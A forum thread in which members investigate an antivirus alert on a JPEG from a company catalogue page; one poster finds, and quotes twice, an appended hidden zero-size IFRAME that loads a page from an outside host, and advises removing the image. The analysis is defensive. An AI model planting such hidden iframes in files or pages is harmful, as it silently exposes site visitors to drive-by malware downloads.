Whilst browsing the Systems 2008 on page 12 my Anti Virus Checker Steganos through up a Trojan thought you would like to know!!

Most likely a false positive. Nothing to report here with NOD32.

Nothing to report with Sophos either... Still, it might be config related.

No problems detected with V-com either.

Maybe a coincidence that you were looking at P12 when you were attacked Blueknowz?
Have you run a system virus (etc) check/sweep on your 'puter?

It appears to be a false positive. I'm not familiar with your A-V vendor. If they offer support for this situation, I'd email them the link so they can investigate and send a correction out with their next push to exclude the code.

I'm running scans here but it's highly unlikely anything malicious will turn up considering the variety of scans thread posters have initialized already. As well, rest assured, Naim will have already been on the case;-)

Keep us posted...

If you meant "Kaspersky"--no worries. One of the finest scan engines available. They will sort the problem. Do let us know the final results. expect Adam to move this thread to the padded cell though.

best,

dave

Blueknowz,

Your antivirus is alerting on the file you suggest.

Although the file is a JPEG, it has the following string embedded in it:

<IFRAME SRC="http://un.uiiiu.com/baidu.htm" WIDTH=0 HEIGHT=0></IFRAME>

This is what is triggering your Antivirus as the IFRAME is detected as malicious due to the zero height and width parameters.

The host un.uiiiu.com is not resolving, but the domain uiiiu.com does exist, and is located in China.

I would suggest that this graphic is removed from the site, as should that host be reactivated, and its common for the these things to lay dormant and be turned on at a later date, then it could impact some Naim customers.

Is there a potential problem for the rest of us?
What should we do if yes?

It shouldn't has the URL it is trying to trick the browser into downloading is failing.

Although, I've no way of knowing if its was successful at a point in the past, or if it will become so.

The real exploit which would do damage would be downloaded from the baidu.html file, so as that fails, I cant look any further.

Steve how did you find this info from what I posted ,I can't see it in that string,although I have heard of virus& Trojan hidden in JPEGs ....Jim

As your AV triggered on that one file, I download it and submitted it to VirusTotal. The results can be seen HERE

So, as some AV vendors concurred that there was a virus in there somewhere, it was worth a further look.

If you look at the VirusTotal analysis the "Packer" type is listed as append, which just indicates that the threat has been added to the end of the file.

So, lets dump the end of the file, so using my trusty Mac Pro, using the strings command, you get

<IFRAME SRC="http://un.uiiiu.com/baidu.htm" WIDTH=0 HEIGHT=0></IFRAME>

at the end of the file, just as we were told it would be.

The host part of the URL is un.uiiiu.com which does not resolve if you do a DNS lookup on it.

Although doing a whois on uiiiu.com does indicate that it exists, and is registered as being in China.

Hope this helps.
